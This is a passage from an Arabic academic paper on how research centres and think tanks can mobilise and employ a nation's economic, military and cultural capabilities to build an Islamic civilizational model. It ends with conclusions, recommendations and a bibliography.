وبتفاعل تلك المفردات الاقتصادية برمتها تصاغ معادلة القدرة الحضارية ومشروعها النهضوي ضمن عناوينها المادية ؛ فمن وحي هذه المعادلة تحدد الاهداف وتصاغ الرؤي وتبنى المسارات والمحددات ؛ فاذا كان التطور واقعا اتسع هامش الطموح والاهداف والقدرة على الحركة والمناورة لصانع القرار وواضع الخطط الاستراتيجية . والمثل البارز على ذلك يتأتى من الولايات المتحدة بعد الحرب العالمية الثانية وكيف اكتسبت استراتيجيتها ابعادا عالمية بفضل قدراتها ومصالحها الاقتصادية الواسعة .وان كان النقيض هو الواقع ، انسحبت الدعامة الاقتصادية من الاستراتيجية وأنكفأت على نفسها وتراجع أداؤها مثل ما حصل مع الامبراطورية الرومانية في القرون الوسطى وما حصل كذلك مع الامبراطوريتين العثمانية والبريطانية في القرن العشرين ، وعلى العكس اذا ما توافر للاستراتيجية مقومات اقتصادية واسعة اتسعت حركتها وتأثيرها على الصعيدين الداخلي والخارجي للدولة .

3- القدرات العسكرية .

     صحيح ان القوة العسكرية ليست الشكل الأنجع لإظهار القوة في المحافل الدولية، ولكنها تعد العنصر الاساس في ترصين هيبة الدولة وفرش مساحة نفوذها وتاثيرها في خارطة التفاعلات الدولية وردع خصومها والطامعين فيها بصورة مباشرة وغير مباشرة .

وتصاغ مفردة القدرات العسكرية من صنوف القوات ( البرية والبحرية والجوية ) ، ونمط تشكيلها كما ونوعا وتسليحا ومهارة وخططا ، يضاف اليها عامل القيادة الميدانية وخبراتها والكفاءة والولاء، والعقيدة العسكرية السائدة ([81]).

   وبكل الاحوال يكون العامل العسكري ، تكريسا ــ بسبب اعتماديته على تلك العوامل ــ للعوامل الاقتصادية والجغرافية ، مثلما يكون وسيلة لإسناد المخططين الاستراتيجيين او التعبير والترجمة الواقعية عن رؤاهم وطموحهم او احباطهم بمنطق المخالفة اذا كان هذا العامل العسكري قد سار في طريق المخطط البياني السالب الموسوم بمؤشرات التخلف او الضآلة والإهمال او حتى التآمر على صناع القرار.

، ويكون العامل العسكري تعبيراً عن توجهات الاستراتيجية من حيث ان الإستراتيجية القانعة تهمل او تهمش من دور هذا المتغير ولاتهتم باستخدامه ، واذا كانت الاستراتيجية دفاعية وظفت المتغير العسكري لأغراض دفاعية سواء بإعداد الجيش او نوعية ترسانة السلاح والعقيدة العسكرية وانحطاط الخطط التي تتبناها المؤسسة العسكرية ، اما اذا كانت الاستراتيجية هجومية في فروعها تعددت مهام القوات المسلحة وكشفت الاستراتيجية الاهتمام بهذا المتغير العسكري اعداداً وتوجيهات وكانت خطط العسكريين استجابة لمطالب الاستراتيجية الهجومية بتبني خططاً هجومية .

ثانيا : القدرات المعنوية.

     من اجل الوقوف على اثر الثقافة وابعادها المعنوية والفكرية في بناء النموذج الحضاري للامة لابد من تعريفها بما ذكره احد الباحثين على انها ” الكل المتكامل لأنماط السلوك المكتسب والمشترك بين افراد المجتمع الموحد ” . وتدخل هذه القدرات الى عالم التخطيط الاستراتيجي بعنوان الخصائص والمزايا النوعية للشعب والتي تتوزع بدورها الى فروع وعناوين صغيرة من اهمها درجة تحضر الشعب ووعيه الحضاري وقيمه وخبراته المعرفية وتفاعله مع التقانة ، وتتشاطر تلك العناوين مع عناوين اكثر اهمية والتصاقا بالواقع والبنى المادية للحضارية هي درجة تركز قيم الحرية والمساواة والعدالة الاجتماعية والتعايش السلمي في وعي الافراد والروح المعنوية السائدة فيما بينهم ، وعلاقاتهم الافقية ( فيما بينهم ) والعمودية ( مع السلطة ).

ويتأتى تأثير كل تلك العناصر النوعية ( المعنوية ) في نمط وتوجهات المخطط الاستراتيجي للمشروع الحضاري المفترض عبر مداخل متباينة بعضها سلبي وبعضها الاخر ايجابي بحسب درجة تركز تلك الخصال النوعية وامكانية تسخيرها في خدمة اغراض المجتمع   من طبيعة هذه المتغيرات والغاية من استخدامها ([82]). فعندما يكون مجتمع الدولة ناضجا فكريا ومتطورا في وعيه الثقافي وموحدا متعايشا في توجهاته سيصبح اكثر اصرارا على تحقيق اهدافه ودعم صناع القرار ، فيتمدد العامل الثقافي وفق هذا النظور ليكون احد الاسس الرصينة التي يقام عليها صرح البناء الحضاري للامة ([83]).

     وحتى بتجاوز ما تقدم حول درجة تركز هذه العوامل النوعية وتأثيراتها ،تتحقق لهذه الاخيرة مداخل اخرى للتأثير ، منها وضع الاساس المعياري الرصين لتحديد ملامح الشخصية الحضارية ، لدراستها وتشخيص جوانب القوة والضعف فيها سبيلا لاستنباط حدود ومديات الاقتدار فيها ودرجة التحمل لاقتحام المحن ، ومنها قدرتها الفائقة على توريد الطاقات الخلاقة والافكار البناءة لصرح الحضارة ، وتعزيز فاعلية التخطيط الاستراتيجي لها ، ومنها ايضا فضلها في توفير البيئة الشعبية المستقرة والمفعمة بعوامل التعايش السلمي البناء لرفد قوى التغيير والمضي في طريقه بخطى وقرارات واثقة وطموحة .  

وهنا يأتي دور السؤال المحوري حول دور مراكز البحث العملي في عملية الحشد العام للقدرات في بناء مخطط النهوض الحضاري ؟ او بصياغة اخرى للسؤال كيف تسهم مراكز الابحاث في حشد الطاقات والقدرات لعملية الانطلاق الحضاري المرتقب ؟

ينبغي الاقرار من حيث البدء بصعوبة هذه المهمة التي تتربص بمراكز الابحاث العلمية وتعقيدها ؛ وهذا نابع من جملة اعتبارات اولها تشتت هذه القدرات على مفاصل ومجالات متنوعة ، فهي مجال عمل اختصاصات متنوعة يصعب تجميعها وتركيزها في خط اهتمام واحد ومن ثم التنسيق بين فعالياتها ضمن روافد الفعل التخطيطي ، وهنا دائرة عمليات المراكز البحثية في تجميع وتركيز خيوط السيطرة والتنسيق بين هذه القدرات سبيلا لتهيئتها لمرحلة الاستخدام والتطبيق . اما ثاني هذه المصاعب فتتركز في تحديد الفارق الاحتمالي بين المتاح الممكن من القدرات وبين المحتمل غير المتاح مع وجوب الفحص الدقيق لإمكانية تقليص ذلك الفارق عبر التركيز في فرص استغلال واستظهار الكامن من القدرات بغية احتسابها في معادلة القوة المتاحة لرسم مخطط التغيير الاستراتيجي . وهذا الامر يقع على عاتق دوائر البحث العلمي عبر تهيئة الدراسات ودفع العلماء في طريق البحث في كل الفرص المتاحة لتسخير كل الطاقات وتقليص الفجوة بين الكامن والظاهر المؤكد والمحتمل منها . ويقع ثالث هذه المصاعب في نطاق الوصول بتلك الموارد الى نقطة العطاء الاقصى والسقف الاعلى للإنتاج والفعل الخلاق بالاعتماد على جيش من العلماء الذين توفرهم مراكز الابحاث . وفي الرابعة تبرز مشكلة المعوقات والمطبات الصناعية والتأثيرات السلبية لعملية الحشد التعبوي للطاقات ، وهنا ايضا تقدم مراكز الابحاث رؤاها حول سبل المعالجة والبدائل المتاحة بعد ان تكون قد وفرت ابتداءا القاعدة الافتراضية لورود امثال تلك المعوقات والمشاكل . واخير يقع على عاتق المراكز البحثية مهمة الادامة وضمان الاستمرارية لعملية الحشد على طول الطريق الرابط بين تحضير الخطة الاستراتيجية وتطبيقها بالوضع النهائي وصولا الى تحقيق اهدافها دون تهاون او فتور لان في ذلك الاجهاز على فرص نجاح التخطيط في بلوغ اهدافه .

الفرع الثاني : دور مراكز الأبحاث في توظيف القدرات .

يعد عنصر التوظيف ، العنصر الاخير والاهم من مقومات التخطيط الاستراتيجي للمشروع الحضاري الاسلامي ، فمن غير القدرة على الاستخدام تبقى الوسائل معطلة ، وتبقى الاهداف ، حبرا على ورق.

وفي هذا السياق ، يمكن تشخيص ثلاثة عوامل تدخل في تقييم الاستخدام تقييماً موضوعياً هي (عنصر الادراك ،وعنصر الخبرة ،وعنصر الكفاءة او الحنكة في الاستخدام ) . وهذا ما سيتم دراسته تباعاً.

اولا : عنصر الادراك : يعد مدخلاً اساسياً في عملية صياغة الخطة وفي ضوئه تتحدد مخرجات هذه الخطة، وينبني الادراك عمودياً على قاعدة من المعلومات ([84]) والتي لا تؤثر في كيفية تقييم الامكانيات وتشخيص الواقع الموضوعي فحسب ([85]) وانما تكون عاملاً مهماً من عوامل نجاح الخطة فبغياب المعلومات تصبح الخطة بلا اساس ، ويضحى الغموض محيطاً بالمواقف والاوضاع كما يغيب التقييم الموضوعي كحجم الامكانيات ونوعيتها.

   ان المعلومات تنشد غاية مفادها الوقوف على ماهية الوسائل المتاحة ، ومعرفة طبيعة الظروف في البيئتين الداخلية والخارجية للخطة ، وتحليلها لتشخيص الفرص المتاحة والعقبات التي تعترض طريق هذه الخطة.

ثانيا: عنصر الخبرة : – يتفاعل عنصر الادراك للإمكانيات المتاحة والظروف المحيطة بالبيئة الراهنة مع عنصر الخبرة الذي يوفر الخلفية التاريخية للتعامل مع مواقف مماثلة او اوضاع مشابهة ، فاستدراك اخطاء الماضي والافادة من تجاربه ، تمكن الاستراتيجيين من تجاوز اخطاء مماثلة في الحاضر على صعيد التعامل مع الموقف الماثل ؛ اذن تنهض الخبرة بمهمة تحجيم الاخطاء الناجمة عن تكرار الممارسات السابقة واستنهاض فرصٍ جديدة بضوء التجربة السابقة للإفادة منها في التعامل مع الموقف الراهن . ولاتقتصر مهمة الخبرة على معرفة اخطاء الذات وانما تتعداها الى توفير خلفية كافية للتعرف على الطرف الاخر ومعرفة ثغراته بضوء التجارب السابقة فتكفل الخبرة بذلك توفير فرص استغلال هذه الثغرات ــ التي قد تتكرر في سلوك الطرف الاخر سبيلاً لرفد فاعلية الخطة لتحقيق اهدافها ، وفوق هذا وذاك تكفل الخبرة التعرف الكافي على طبيعة الموقف والطرف الاخر بضوء تجارب مماثلة سابقة وبالتالي تحجم من احتمالية سوء الفهم وسوء الادراك الذي يدفع الى سلك السلوك الخاطئ المبني على الادراك الخاطئ للموقف وسلوكيات الطرف الاخر وعند غياب التجربة تقع الخطة في مطبات تكرار اخطاء الماضي، والتخبط مجدداً في التجربة الجديدة مما يكلفها الوقت والجهد ويهدد كامل الانجاز بالفشل ناهيك عن سوء الادراك الناجم من غياب الخافية المطلوبة لتفهم سلوك الطرف الاخر ، وفهم ماهية الموقف .

ثالثا: عنصر الحنكة :- تبقى العناصر السابقة بحاجة الى عقلية كفوه ومحنكة تنتفع من الخبرة والقاعدة المعلوماتية بغية التوظيف الرشيد للوسائل والامكانيات المتاحة ، وهذا يتحقق عن طريق الموازنة في استخدام هذه الوسائل او التركيز على بعض الوسائل تبعاً لماهية الوسيلة وظرف الاستخدام وغايته ([86] ).

   ويدخل في حنكه الاداء عنصر الزمن من خلال تقديم او تأخير استخدام هذه الوسائل او تلك تبعاً لمتطلبات الموقف الراهن واحتماليات المستقبل القادم .

ان الاستخدام الكفوء للوسائل هو الذي يتولى ردم المسافات الناجمة عن التفاوت في توزيع الامكانيات والوسائل ، ويحقق الانسجام والاستقرار في الاداء وصولاً لتحقيق الاهداف والعكس بالعكس .

وفي ضوء ما تقدم يتسنى لنا التساؤل عن ماهية الدور المنتظر من مراكز البحث العلمي في مجال القدرة على توظيف القدرات لتحقيق المشروع الحضاري الخاص بالامة الاسلامية ؟.

بالتحري عن اجابة كافية لهذا السؤال ، نجد ان مهمة دوائر المعلومات في هذا المربع أمست اكثر تعقيدا والحاحا بسبب التوغل العميق في مفردات الخطة ومحاولة استنزالها لارض الواقع ومجابهة تحدياته ، فصعوبة المهمة في ايجاد الموازنة الحذرة والدقيقة وادامة خط التواصل الحضاري بين النظرية والتطبيق . واذا جاز لنا افتراضا اقحام عملية الحشد للقدرات في نطاق واحد وان تعددت مصاعبه ، فان دور البحث العلمي ومؤسساته في مجال التوظيف والاستخدام والتطبيق يتلون ويتنوع بالوان المراحل التي يقطعها في هذا الشوط المتعدد المراحل . ففي مرحلة الادراك يقع على عاتق المراكز البحثية مهمة البحث والتحري والاستكشاف لكل دخائل الواقع وملابساته ، ومعطياته بعد تحليلها واستكشاف قوانينها وايجاد المنطق الفاعل لتوظيفها مع تقديم البدائل الممكنة بفرض الاعاقة والتغير غير المحسوب في سياق الواقع . وفي مرحلة توفير الخبرة وتحري العمق التاريخي ، تنبري وحدات القتال البحثية لتقليب صفحات الماضي واستخراج دفائنه واستلهام الدروس منه بل وصياغتها على هيئة نظريات ودروس تخدم صناع القرار والحضارة بتجاوز الاخطاء واستقدام الفرص . وفي المقام الاخير والاهم ، مراكز البحث في معركة حقيقية الذكاء والفراسة وسلاحها المعلومات لبناء التصورات والسيناريوهات ومواجهة التحديات في الواقع والتغلب عليها والتقدم بخطى واثقة باتجاه المستقبل وصولا لإدراك الاهداف .

وبعد ما تقدم ، فثمة من يلخص الدور الذي تنهض به مراكز الأبحاث في هذا المضمار بالاتي :-

* بناء الرؤية الحضارية والنظرية التجديدية للمشروع الحضاري او المخطط الاستراتيجي لهذا المشروع .

* بناء القدرة والوعي والسلوك الفعّال لدى أفراد المجتمع ، باتجاه تحقيق هذا المشروع الرائد .

*بناء الواقع الجديد والثقافة والحضارة والمجتمع والمعرفة والتقنيات والتكنولوجيات والإدارة والتنظيم.([87])

الخاتمة

في سياق ما تم عرضه من معطيات حول دور مراكز الابحاث في بناء النموذج الحضاري الاسلامي ، تم التوصل الى النتائج الاتية : –

1-  كلما تطورت المعرفة المتاحة لجماعة بشرية ما، كلما تزايد وعيها بالحاجة لإدراك الفجوة الحضارية بينها وبين غيرها من الجماعات الاخرى، وتصاعدت بنحو مواز وتائر البحث عن نموذج حضاري خاص بها له القدرة على النهوض بواقعها الحضاري المتردي .وهذا جوهر ما تعانيه وتفتقد إليه الأمة الإسلامية في الوقت الراهن ؛ إذ جل ما تحتاجه هذه الامة اليوم هو صياغة نموذج حضاري مستقل وقادر على قيادة الامة باتجاه الوحدة والإصلاح والنهوض .. إننا بحاجة إلى نظرية حضارية متكاملة في التجديد الحضاري يتحدد فيها كل ماله صلة بالتجديد فهماً وتنفيذاً، مشفوعة بجهود تربوية وتثقيفية على كل المستويات من أجل توفير المناخ والجو الذي تنمو فيه وتترسخ ثقافة التجديد والبناء الحضاري

2-  ان الفرق واسع جدا بين فهم النموذج الحضاري الإسلامي بدلالته التاريخية بوصفه حصيلة للمنتج المادي والثقافي التاريخي للإنسان المسلم ، وبين فهمه بدلالته الرسالية ، بوصفه بنية فكرية دينية متكاملة تتطلب تكامل الإنسان معها وتكييفه لظروف الزمان والمكان بشكل لا يتجاوز على أصلها ألقيمي وعناصرها البنيوية الأساسية.

3-  إن عملية استنهاض الوعي الحضاري لأمة ما وتأسيس قاعدته المعرفية وبلورة توجهاته ، هي حصيلة معقدة لتظافر وتأثير جهود قوى بشرية متميزة بفكرها وقدرتها على استقراء الواقع وفهم قوانينه وفق رؤى ومناهج علمية منضبطة المعايير والقواعد تنتظم في إطار مؤسسات علمية وبحثية تضم نخبة متميزة ومتخصصة من الباحثين الذين يهتمون بدراسة الواقع وتشخيص مشاكله ومن ثم تقديم استشارات أو سيناريوهات مستقبلية يمكن أن تساعد أصحاب القرارات في تعديل أو رسم سياستهم بناء على هذه المقترحات في مجالات مختلفة.

4-  على الرغم من النشأة التاريخية الحديثة نسبيا لمراكز البحث العلمي إلا أنها امتلكت القدرة الواسعة على التأثير في مسار النهوض الحضاري للأمم ، لأسباب جوهرية في مقدمتها صلتها بصناع القرار والنهضة ، وامتلاكها لأهم أدوات ومفاتيح القوى العصرية المتمثلة بالمعرفة ، كونها من أهم مصانع العلم والتطور في المجتمعات التي قطعت شوطا من التقدم العلمي ، يؤشر العلاقة بين التقدم العلمي والحضاري وبين نشأة هذه المراكز .

5-  ومن عمق الفكرة المتقدمة يتحدد إطار الدور المفترض لمراكز البحث العلمي في بناء النموذج الحضاري الإسلامي للأمة وشحذ الوعي بأهميته، انطلاقاً من تشخيص الواقع نظرا لكونها قاعدة بيانات متحركة ومتطورة مداها دارسة الظواهر المختلفة واستنباط قوانينها وبلورة نظرياته وايجاد الحلول الناجعة لما يعترض الحضارة من مشاكل بغية تهيئة الارضية المعرفية المناسبة لبناء النموذج الحضاري الامثل ، ومرورا بمهمتها الحيوية في البحث عن محركات النهوض الحضاري واسبابه وبلورة وشرعنة الدوافع لتبني المشروع الحضاري الخاص بالأمة في وجه تلك الغزوات والانتكاسات الحضارية . وكل هذا لا تقوم له قائمة على ارض الواقع ما لم تسعَ مراكز الابحاث الى تشييد صرح المشروع الحضاري الاسلامي القادر على النهوض بالأمة ، وارشاد ابناءها الى السبيل الاوفى لبلوغ هذا المرام باقل الكلف واضيق الازمان . وهكذا تكون محطات الدور المنتظر من مراكز الابحاث موزعة بانتظام بالغ على طول الخط الرابط بين مراحل التخطيط الاستراتيجي وصولا لبناء النموذج الحضاري الاسلامي المتميز للامة ؛ فغاية مراكز الأبحاث ، إذن، ليست مجرد صناعة الفكرة بل إيجاد السبيل لإنزالها، وتطبيقها، وقياس مدى فاعليتها في الواقع .

ثانياً : التوصيـات

في ضوء ما تقدم يمكن تقديم التوصيات الاتية :-

1-  توفير الموارد وتخصيص الكوادر الوظيفية والدعم اللوجستي اللازم للنهوض بواقع المراكز البحثية في الأمة لأنها من مفاتيح نهضتها المستقبلية وتعزيز فهم ووضع أسس نموذجها الحضاري المتميز عن غيره والمتفاعل ايجابيا معه.

2-  وضع برامج وخطط إستراتيجية لعمل المراكز البحثية والمؤسسات العلمية بالاستناد الى خبرات فنية وعلمية مختصة وقاعدة معلومات رصينة وادوات متطورة وحيز زماني ومكاني اكثر اتساعا واستجابة لمتغيرات الواقع؛ على أن تكون هذه الإستراتيجية طويلة الأمد، مستشرفة لأفق واسع في مجال تخصص دقيق وفق رؤى وأنساق علمية مبرمجة وممنهجة في سبيل انضاج رؤيتها لاستكمال ملامح النموذج الحضاري المنشود للامة .

3-  ردم الفجوة بين الافتراضات النظرية للبناء الحضاري المنشود وبين واقع امتنا ، بعد تقليص المسافة الفاصلة بين البحث العلمي ومشكلاته المستجدة بالتماس المعالجات العلمية لها والإفادة من الخبرات المعرفية النظرية.

4-  تمتين أواصر التعاون والتنسيق الأمثل بين مراكز البحث العلمي في دول العالم الإسلامي، وحشد وتوجيه طاقاتها باتجاه هدف المشاركة الفاعلة في النهوض الحضاري للأمة، من خلال إنشاء مؤسسة جامعة او رابطة عليا للبحث العلمي تتولى مهمة العمل على تنسيق جهود مراكز الأبحاث والمؤسسات العلمية ودفعها نحو التكامل في العمل، وتوطيد العلاقات والخطط بينها ، وتغطية احتياجاتها المادية والعلمية، والاشراف والمتابعة الميدانية لأنشطتها وتوجهاتها في سبيل إدراك الهدف او الأهداف المرصودة من إنشاء هذه الرابطة وتلك المراكز البحثية .

5-  عدم النظر إلى المراكز البحثية على إنها تشكل تهديد أو إلغاء لدور المؤسسات الحكومية والاجتماعية التقليدية المهتمة بموضوع بناء أو تطوير النموذج الحضاري للأمة الإسلامية، بل من المفيد النظر إليها على أنها تمثل حلقات تكاملية وتطويرية لأداء هذه المؤسسات من اجل تفعيل الحركة التغييرية داخل الأمة لتسمو وتتكامل مع نموذجها الحضاري المميز .

المصادر

أولا: الكتب

– د. ابراهيم احمد سعيد ، ما بين الجغرافية السياسية ومخاطر الجيوبوليتيك والعولمة ،( دمشق : الاوائل للنشر والتوزيع ، 2006).

– إبراهيم مصطفى وآخرون . المعجم الوسيط . ، (استانبول: دار الدعوة ، 1989 ).

– أحمد عبد الله اللحلح ومصطفى محمود أبو بكر، مناهج البحث العلمي، بلا.ط(الإسكندرية : الدار الجامعية، 2007 ) .

د.احمد نوري النعيمي ، السياسة الخارجية ، (جامعة بغداد ، 2001 ) .

– د. اسماعيل صبري مقلد، العلاقات السياسية الدولية : دراسة في الاصول والنظريات ، ط5، (الكويت : منشورات ذات السلاسل ، 1987).   

– أنطوان نعمه وآخرون . المنجد في اللغة العربية المعاصرة . ط1 . (بيروت : دار المشرق ، 2000 ) .

– د.حامد الربيع، الثقافة العربية بين الغزو الصهيوني وإرادة التكامل القومي ،(القاهرة: دار الموقف العربي، 1983م).

– د.حسين عمر ، التخطيط الاقتصادي ،( القاهرة : دار المعارف ، 1967 ).

– سيد دسوقي حسن ومحمود محمد سفر، ثغرة في الطريق المسدود: دراسة في البعث الحضاري، ط1 (دار آفاق الغد، 1981م )

– سيد كاظم سيد باقري . العولمة وحركية ما يتوقع من الدين . بحث منشور في كتاب ( الدين والعولمة : فرص وتحديات) لمجموعة مؤلفين . ترجمة خليل زامل العصامي .ط1 . (بيروت : مركز الحضارة لتنمية الفكر الإسلامي ، 2011).

– د. عمرو محي الدين ، التنمية والتخطيط الاقتصادي ، ( بيروت : دار النهضة العربية ، 1972) .

علي عزت بيجوفيتش. الإسلام بين الشرق والغرب.ط1 . الكويت ، مجلة النور الكويتية ، 1994 .

فرانسيس فوكوياما. أمريكا على مفترق الطرق. ترجمة محمد محمود التوبة . ط 1 ( الرياض : مكتبة العبيكان ، 2007)

محمّد علي آذرشب ، شروط النهضة، ترجمة عمر كامل مسقاوي وعبد الصبور شاهين، ط4،( دمشق، 1987).

– منَح خوري “التاريخ الحضاريّ عند تُوينبي” (بيروت: دار العلم للملايين، 1960 ) .

ثانيا : البحوث والدوريات

– د.جاسم سلطان ، الوعي الحضاري .. فاعلية وتمكين وشهود ، مجلة حراء ، اسطنبول ، العدد 35 ، مارس 2013 .

– د. عبد العزيز برغوث ، التجديد الحضاري والحاجة إلى المنظور الاستخلافي وثقافة التعارف الحضاري ، مجلة كلمة ، منتدى الكلمة للدراسات والابحاث ، بيروت ، العدد 56 ، السنة الرابعة عشرة ، 2007 .

– د. مازن اسماعيل الرمضاني ، في التخطيط السياسي الخارجي : دراسة نظرية ، مجلة الحقوقي ، العددان الاول والثاني ، 1978.

– د. وائل محمد اسماعيل ، التخطيط العلمي لصنع المستقبل : رؤى نظرية ، مجلة دراسات دولية ، جامعة بغداد ، العدد السابع والاربعون .

ثالثا : الرسائل الجامعية

– اخيارهم عبد الله احمد ، التخطيط الاستراتيجي لإدارة الازمات : دراسة لنموذج ازمة شركة تويوتا ، رسالة ماجستير مقدمة الى كلية الحقوق والعلوم السياسية – جامعة محمد خيضر ، 2013 .

رابعا : الصحف

– محمد محفوظ ، حول مراكز الابحاث والدراسات ، جريدة الرياض السعودية ، العدد 16970 ، الاربعاء 10 ديسمبر 2014

– محمد عمارة ، أسباب التخلف وسبل النهوض ، صحيفة الوسط البحرينية – العدد 3170 – الجمعة 13 مايو 2011م .

– محمد بن ناصر القفاري ، التخطيط الاستراتيجي لمؤسسات التعليم العالي ، جريدة الجزيرة – القطرية ، العدد 15371 ، الاربعاء 29/10/2014

خامسا: مواقع الشبكة الدولية للمعلومات

       احمد إبراهيم خضر.النظرية والنموذج. مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني: www.alukah.net

       احمد فرحات . مراكز الفكر والبحوث في العالم بين سلطة المعرفة وسلطة السياسة . مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني : www.main.omandaily.om.

       الإله عند الهندوس. على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني : www.hawamer.com

       السيد الخامنئي: نموذج التقدم الإسلامي- الإيراني يؤسس لبناء حضارة جديدة ومتقدمة . مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني:www.almustashar-iq.net

       جابر شعيب الإسماعيل ، فوائد التخطيط الإستراتيجي ، مقالة منشورة على موقع الالوكة الالكتروني ، بتاريخ: 24/6/2012 ، على الرابط : http://www.alukah.net/social/0/42102/

       د. جيلالي بو بكر، موقف الفكر العربي المعاصر من الحضارة الغربية بين السلب والإيجاب ، مقال منشور على موقع الموسوعة الاسلامية ، بتاريخ 2012/06/14 ، على الرابط : http://www.balagh.com/mosoa/index.php

       خالد وليد محمود ، مراكز الأبحاث في الوطن العربي: الواقع الراهن وشروط الانتقال إلى فاعلية أكبر. بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني:www.nama-center.com

       د.محمد المهدي هل قدم تيار الإسلام السياسي النموذج الحضاري للإسلام , مقال منشور على موقع الخيمة الالكتروني ، بتاريخ     06 شباط/فبراير 2013 ، على الرابط : http://bawaba.khayma.com/2012-10-09-07-21-28/Page-3

       رنده علوان حسين . مؤسسة راند الأمريكية ودورها في السياسة الخارجية الأمريكية . بحث منشور على الشبكة الدولية للمعلومات ( الانترنيت) على الموقع الالكتروني :www.iasj.net

       الزهراء عاشور. حوار الحضارات وإشكالية الأنا والآخر في الفكر العربي والإسلامي المعاصر. بحث منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني: www.aafaqcenter.com

       زهير فهد ألحارثي. حوار الحضارات: الإشكالية في الفكر لا السلوك. مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني: www.mafhoum.com

       سامي الخزندار وطارق الأسعد . دور مراكز الفكر والدراسات في البحث العلمي وصنع السياسات العامة . بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني :www.univ-ouargla.dz .

       عبد المجيد بن سعود. القيم الإسلامية التربوية والمجتمع المعاصر. كتاب منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني: www.library.islamweb.net

       عصام زيدان ، المراكز البحثية..الأهداف الطموحة والحلقات المفقودة ، مقال منشور على الموقع الالكتروني لشبكة الاسلام اون لاين ، بتاريخ السبت 19 يوليو 2008 ، على الرابط : http://www.islammemo.cc/Tahkikat/2008/07/19/67032.html

       عمر عبيد حسنة. الحضارة والعوامل المؤثرة في التحضر . كتاب منشور على الشبكة الدولية للمعلومات ( الانترنيت ) على الموقع الالكتروني : www.library.islamweb.net

       فاطمة حافظ . مفهوم الحضاري لدى الدكتور إسماعيل راجي الفاروقي . مقال منشور على الشبكة الدولية للمعلومات ( الانترنيت) على الموقع الالكتروني : www.almuslimalmuaser.org

       كاظم البطاط. البناء العلمي وأهمية مراكز الدراسات والبحوث. مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني : www.fcdrs.com

       محمد الجوهري. مفهوم ودلالات الحضاري عند السيد يسين ومحمد عابد الجابري. محاضرة منشورة على الشبكة الدولية للمعلومات ( الانترنيت ) على الموقع الالكتروني : www.academia-edu

       محمد صالح البدراني ، مشروع الامة الحضاري وبوصلة الارادة ، مقال منشور على موقع مؤسسة يقظة فكر الالكتروني ، بتاريخ 23 يوليو 2013 ، على الرابط : http://feker.net/ar

       مصطفى المريط. مفهوم الثقافة بين الفكرين الغربي والعربي: من التباس المفهوم إلى أفق البناء الحضاري. مقال منشور على الشبكة الدولية للمعلومات ( الانترنيت ) على الموقع الالكتروني : www.nama-center.com

       د.مصطفى رجب ، التخطيط الاستراتيجي .. مفهوم عسكري اكتسح حياتنا المدنية ، مقال منشور على موقع بوابة الشرق الالكترونية ، بتاريخي، 13 /10/ 2014 ، على الرابط : http://www.al-sharq.com/news/details/278194#.VIgKwjGsUmE

       منار الرشواني وأحمد فال بن الدين . مؤسسة راند : الولد الشرعي للبنتاغون . مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني :www.ar.shvoong.com

       نادية محمود مصطفى. حوار الحضارات على ضوء العلاقات الدولية الراهنة. بحث منشور نبيل علي صالح ، اشكالية سؤال النهضة : لماذا تاخر المسلمون ؟ وكيف يتقدمون ؟ ، منبر الحرية ،26 غشت/أغسطس 2013 ، الرابط : http://minbaralhurriyya.org/index.php/archives/7987

       نصر محمد عارف. الحضارة .. المدنية: اختلاف الدلالات باختلاف الحضارات . مقال منشور على الشبكة الدولية للمعلومات( الانترنيت) على الموقع الالكتروني:www.khayma.com

       نيلي كمال الأمير . دور المراكز البحثية في تشكيل الرأي العام وصورة الآخر: دراسة لحالة مركز الدراسات الآسيوية بجامعة القاهرة . بحث منشور على الشبكة الدولية للمعلومات ( الانترنيت) على الموقع الالكتروني :www.iugaza.edu.ps

       هاشم حسن حسين الشهواني . أهمية مراكز الأبحاث.مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني :www.elections.akhbarak.net

Books

– A.F.K. Organski, world politics, New York: Alfred A. Knopf, Inc. Second Edition , 1968, .

INTERNET

– Enrique Mendizabal. Different ways to define and describe Think Tanks. Article.www.onthink tanks.org

Think tanks.www.thefreedictionary.com

 


– انظر : هاشم حسن حسين الشهواني . أهمية مراكز الأبحاث.مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني :www.elections.akhbarak.net

– انظر نيلي كمال الأمير . دور المراكز البحثية في تشكيل الرأي العام وصورة الآخر: دراسة لحالة مركز الدراسات الآسيوية بجامعة القاهرة . بحث منشور على الشبكة الدولية للمعلومات ( الانترنيت) على الموقع الالكتروني :www.iugaza.edu.ps

– وصلت ميزانية الصرف السنوية لمؤسسة راند إلى 100 مليون دولار عام 1999 ، بينما كانت ميزانية جيبوتي 82 مليون دولار ، أما عدد العاملين فيها فوصل إلى 1600 ، ولديها فروع داخل أمريكا وخارجها وهي قريبة جدا من صانع القرار الأمريكي . وللمزيد أنظر : منار الرشواني وأحمد فال بن الدين . مؤسسة راند : الولد الشرعي للبنتاغون . مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني :www.ar.shvoong.com

– انظر : سامي الخزندار وطارق الأسعد . دور مراكز الفكر والدراسات في البحث العلمي وصنع السياسات العامة . بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني :www.univ-ouargla.dz .

– رنده علوان حسين . مؤسسة راند الأمريكية ودورها في السياسة الخارجية الأمريكية . بحث منشور على الشبكة الدولية للمعلومات ( الانترنيت) على الموقع الالكتروني :www.iasj.net

– المصدر نفسه.

– خالد وليد محمود.مراكز الأبحاث في الوطن العربي: الواقع الراهن وشروط الانتقال إلى فاعلية أكبر. بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني:www.nama-center.com ، وانظر أيضا سامي الخزندار وطارق الأسعد . مصدر سابق .

